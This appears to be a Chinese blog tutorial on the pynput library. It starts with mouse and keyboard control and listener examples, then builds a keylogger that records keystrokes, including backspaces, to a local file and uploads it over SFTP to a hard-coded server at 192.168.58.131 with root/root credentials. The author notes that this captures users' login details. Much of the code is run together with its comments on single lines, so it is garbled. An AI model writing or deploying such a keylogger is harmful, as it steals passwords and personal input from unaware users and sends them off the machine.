pynput软件包说明文档

控制及监听鼠标

#测试pynput第三方库
#控制鼠标
import timefrom pynput.mouse import Button,Controller   #导入控制鼠标模块#创建控制器对象
mouse = Controller()
'''
#position属性返回一个元组(指针位置)
#time.sleep(2)
print("当前指针位置:{}".format(mouse.position))#设置指针位置(元组)
mouse.position = (60,60)#将鼠标从当前位置移动,俩个参数dx(水平偏移量)、dy(垂直偏移量)
mouse.move(600,600)
mouse.move(50,-50)
print("当前S指针位置:{}".format(mouse.position))#由Button模块控制鼠标左右键,中键滚动
#按下左键并释放左键
#time.sleep(2)
mouse.press(Button.left)
mouse.release(Button.left)#双击左键
mouse.click(Button.left,2) # 两个参数第一个参数为Button(鼠标的按键)第二个参数为int类型(点击的次数)#向上滚动俩步
mouse.scroll(0,2)
time.sleep(2)
#向右上方滚动一步
mouse.scroll(1,1)#分别是控制水平和垂直方向 正数是向右向上 反之向右向下
'''from pynput.mouse import Listener,Button   #导入监听鼠标模块
#监听鼠标包括移动事件、鼠标按键、滚轮事件、def on_move(x,y):#on_move(x,y)是鼠标移动时回调的函数两个参数x,y描述的是鼠标的位置#print('鼠标移动到的位置{0}'.format((x,y)))pass
def on_click(x,y,button,pressed):# 四个参数x,y,button,pressed。# x,y描述的是鼠标点击的位置# button是鼠标的按键,值有三种Button.left(左键)、Button.right(右键)、Button.middle(中键)# 注意鼠标button使用按下一次会有两次反馈(按下和松开)。想要使用一次可以把一个if pressed:语句放在它的外层# pressed的值是bool类型是鼠标按键的按下时是True,松开时为False。if button == Button.left:print('{0}位置{1}'.format('鼠标左键按下'if pressed else '鼠标左键松开',(x, y)))elif button == Button.right:print('{0}位置{1}'.format('鼠标右键按下'if pressed else '鼠标右键松开',(x, y)))elif button == Button.middle:  # 停止监听return False
def on_scroll(x,y,dx,dy):# 滑轮滚动事件# x,y指针位置# dx,dy滚轮的动作方向print('当前指针位置 {0}'.format((x, y)))i = ''if dx<0:i = '左'elif dx>0:i = '右' else:i = ''print("滚动方向:{}{}".format(i,'下'if dy<0 else '上'))#收集事件,直到停止(监听)
with Listener(on_move=on_move,on_click=on_click,on_scroll=on_scroll) as listener:listener.join()

控制及监听键盘

#控制键盘 按压释放、键入字符串、按下组合键
'''
from pynput.keyboard import Key,Controller
#注意这里Key中的k要大写
keyboard = Controller()#按压和释放空格
keyboard.press(Key.space)
keyboard.release(Key.space)#按压键盘中的a键
keyboard.press('a')
keyboard.release('a')#键入 hellow world
keyboard.type('hellow world')#在按下ctrl的同时按下a
with keyboard.pressed(Key.ctrl):keyboard.press('a')keyboard.release('a')
'''#监控键盘
from pynput.keyboard import Key,Listener#按下键盘
def on_press(key):print("按下{}".format(key))#松开键盘
def on_release(key):print("松开{}".format(key))if key == Key.esc:#esc键退出监听return Falsewith Listener(on_press=on_press,on_release=on_release) as Listener:Listener.join()

简单实现记录键盘

#监控键盘
from pynput.keyboard import Key,Listener
#按下键盘
def on_press(key):pass
#松开键盘
def on_release(key):flag = str(key).replace("'","")print(flag)with open('D:\\key.txt','a') as f:f.write(flag+'\n')with Listener(on_press=on_press,on_release=on_release) as Listener:Listener.join()

在脚本运行状态下,用户的登录信息都将被记录。
由此得出结论:陌生WiFI不要随便连,陌生电脑不要随便用。。。

由于删除账号密码时可以长按Backspace删除多个字符,因在按下键盘时加以操作,改进如下:

from upload import upload
#监控键盘
from pynput.keyboard import Key,Listener
#按下键盘
def on_press(key):string1 = str(key).replace("'",'')if string1 == 'Key.backspace':print('del')with open('D:\\key.txt','a') as f:f.write('del'+'\n')
#松开键盘
def on_release(key):flag = str(key).replace("'","")print(flag)with open('D:\\key.txt','a') as f:f.write(flag+'\n')upload()with Listener(on_press=on_press,on_release=on_release) as Listener:Listener.join()#相当于开启了一个线程,因为Listener这个类继承自threading.Thread。#所以我们调用listener.join()相当于就阻塞在这里了

并使用paramiko模块实现上传文件至服务器

import time
def upload():#延时5s上传一次#print('qwe')#time.sleep(5)import paramiko#实例化SSHClientclient = paramiko.SSHClient()#自动添加策略,保存服务器的主机名和秘钥信息,如果不添加,那么不再本地Know_hosts文件中记录的主机将无法连接client.set_missing_host_key_policy(paramiko.AutoAddPolicy())#连接SSH服务器,以用户名和密码进行认证client.connect(hostname='192.168.58.131',port='22',username='root',password='root')# 利用SSHClient对象的open_sftp()方法,可以直接返回一个基于当前连接的sftp对象,可以进行文件的上传等操作.sftp = client.open_sftp()# 设置上传的本地/远程文件路径localpath = "D://key.txt"remotepath = "/home/tmp/1.txt"# 执行上传动作sftp.put(localpath, remotepath)# 执行下载动作#sftp.get(remotepath, localpath)#关闭SSHClientclient.close()

20210412_174031.mov

python-pynput库用法 及 简单实现记录键盘相关推荐

  1. python pynput库 自动按键 鼠标键盘 监听控制插件 可以制作按键精灵

    这是一个跨平台,使用简单的鼠标键盘监听控制库. 安装 环境 mac os + python 3.6 pip install pynput 监听,控制 import time from pynput i ...

  2. python第三方库-urllib(简单好用)

    前言 Python 内置的 HTTP 请求库,也就是说我们不需要额外安装即可使用 它包含四个模块: request:它是最基本的 HTTP 请求模块,我们可以用它来模拟发送一请求,就像在浏览器里输入网 ...

  3. python中len用法_简单介绍Python中的len()函数的使用

    简单介绍Python中的len()函数的使用 函数:len() 1:作用:返回字符串.列表.字典.元组等长度 2:语法:len(str) 3:参数:str:要计算的字符串.列表.字典.元组等 4:返回 ...

  4. python requests库用法_python之requests库的使用

    一.什么是requests? Requests是用Python语言编写的,基于urllib3来改写的,采用Apache2 Licensed 来源协议的HTTP库. 二.安装requests >p ...

  5. python第三方库matplotlib绘制简单折线图

    一.绘制简单折线图 代码如下: import numpy as np import matplotlib.pyplot as plt X = [0, 1, 2, 3, 4, 5] Y = [222, ...

  6. python基础代码库-CNN详解-基于python基础库实现的简单CNN

    CNN,即卷积神经网络,主要用于图像识别,分类.由输入层,卷积层,池化层,全连接层(Affline层),Softmax层叠加而成.卷积神经网络中还有一个非常重要的结构:过滤器,它作用于层与层之间(卷积 ...

  7. python jieba库用法

    结巴分词支持以下3种分词模式: 精确模式.试图将句子最精确地切开,适合文本分析. 全模式.将句子中所有的可能成词的词语都扫描出来,速度非常快,但是不能解决歧义. 搜索引擎模式.在精确模式的基础上,对长 ...

  8. python——datetime库用法

    datetime模块用于是date和time模块的合集,datetime有两个常量,MAXYEAR和MINYEAR,分别是9999和1 文章目录 python中时间日期格式化符号: datetime模 ...

  9. Python消息库——kombu的简单使用

    相比于pika,kombu考虑的更全面,如它支持重连策略.支持connection pool和producer pool.故障转移策略等,于是我选择了kombu作为RabbitMQ的client端. ...

最新文章

  1. 吴恩达深度学习ppt_【深度学习】吴恩达谈深度学习:数据科学家需要知道这些...
  2. 给Sqlite数据库设置密码
  3. python_循环删除list中的元素,有坑啊!
  4. 怎么调整字段长短_木北造型:空气刘海卷发筒怎么用 木北造型告诉您
  5. 转 -----那些年总也记不牢的IO
  6. C#自定义字符串压缩和解压缩源码库
  7. 【渝粤教育】国家开放大学2018年秋季 2322T物流信息技术 参考试题
  8. 小鹏汽车回应“侵犯消费者权益被罚3000元”:已于3月8日对购车协议内容进行调整...
  9. 5.8. tensorflow2实现SVD推荐系统——python实战 (下篇)
  10. 管理新语:技术问题,主管又帮不上忙,参加会议干什么
  11. python生成手写汉字字体_「zi2zi」:用AI生成自己的手写字体
  12. 工厂模式类图梳理笔记
  13. python处理时间序列非平稳_【Python算法】--非平稳时间序列分析
  14. Jsoup爬虫获取公司纳税识别号
  15. 600度近视眼恢复方法_600度的近视眼,恢复视力要注意
  16. oracle设计案例,Oracle课程设计案例精编
  17. 洛谷 U80510 甜蜜蜜的Seaway
  18. python语言的开题报告怎么写_开题报告怎么写
  19. 2018年终总结,忙碌充实的一年
  20. 为什么window上没有php-fpm?

热门文章

  1. 安卓引导用户设置APP运行后台保活
  2. 2020-12-11 PMP 群内练习题 - 光环
  3. 【Jailhouse 文章】Bao: a modern lightweight embedded hypervisor(2020)
  4. SerDes接口——架构与电路
  5. SVD分解正确分解流程
  6. sqli-labs靶场第十六关
  7. CC2640 之外部flash OAD
  8. easyExcel动态生成表头
  9. 安装cuda8.0时无法安装.net Framework 4.0 错误的解决
  10. 通信模组的通信线路设计